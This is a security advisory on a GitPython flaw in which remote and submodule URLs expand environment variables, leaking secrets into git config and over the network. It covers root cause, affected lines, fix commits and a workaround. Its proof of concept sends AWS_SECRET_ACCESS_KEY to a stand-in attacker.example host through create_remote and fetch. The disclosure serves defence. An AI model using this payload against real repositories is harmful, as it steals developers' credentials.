high · 7.5Jul 24, 2026

GitPython Environment-Variable Exfiltration via Repo.create_remote() URL

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Passing a URL containing shell variable syntax like ${AWS_SECRET_ACCESS_KEY} to Repo.create_remote() causes GitPython to expand live process secrets into .git/config and transmit them to an…

PackageGitPython
Ecosystempip
Affected<= 3.1.53
Fixed in3.1.55
GitPython Environment-Variable Exfiltration via Repo.create_remote() URL

The problem

GitPython's Git.polish_url() calls os.path.expandvars() on any URL it processes. The fix for the earlier GHSA-rwj8-pgh3-r573 added an expand_vars=False guard in Repo._clone(), but left Remote.create() (the backend of Repo.create_remote() and Remote.add()) calling polish_url() with the default expand_vars=True.

Any secret present in the hosting process's environment, such as AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, or CI/CD tokens, is immediately written into .git/config in plaintext. The same vulnerable path exists in Submodule.add(), which writes the expanded URL into the tracked .gitmodules file as well.

Proof of concept

A working proof-of-concept for this issue in GitPython, with the exact payload below.

python
import git, os, tempfile

os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIAIOSFODNN7EXAMPLE"

repo = git.Repo.init(tempfile.mkdtemp())

# Attacker-controlled URL: shell variable is expanded server-side by polish_url()
remote = repo.create_remote(
    "evil",
    "http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git"
)

# Secret is now embedded in .git/config and will be sent over the network on fetch
print(repo.remote("evil").url)
# => http://attacker.example/AKIAIOSFODNN7EXAMPLE/repo.git

remote.fetch()  # transmits the expanded secret to attacker.example

Root cause is CWE-214 (Invocation of Process Using Visible Sensitive Information): Git.polish_url() unconditionally calls os.path.expandvars() unless the caller explicitly passes expand_vars=False. The prior patch (commit 8ac5a305) used expand_vars=False only in Repo._clone(), leaving Remote.create() at git/remote.py:811 and Submodule.add() at git/objects/submodule/base.py:611 still expanding attacker-supplied URLs before writing them to config.

The check_unsafe_protocols() call runs on the pre-expansion string, so a benign-looking https:// URL carrying ${SECRET} in its path passes all filters, then expands to embed the live secret. The fix in commit 863417457 adds expand_vars=False to the polish_url() calls in both Remote.create() and Submodule.add(), matching the pattern already used in _clone().

The fix

Upgrade to GitPython 3.1.55 or later. The patch (commit 863417457) passes expand_vars=False to Git.polish_url() in both Remote.create() (git/remote.py) and Submodule.add() (git/objects/submodule/base.py). If upgrading immediately is not possible, sanitize all remote URLs before passing them to Repo.create_remote() or Remote.add() by rejecting any input containing $ or % characters.

Reporter not attributed.

References: [1][2][3][4]

Related research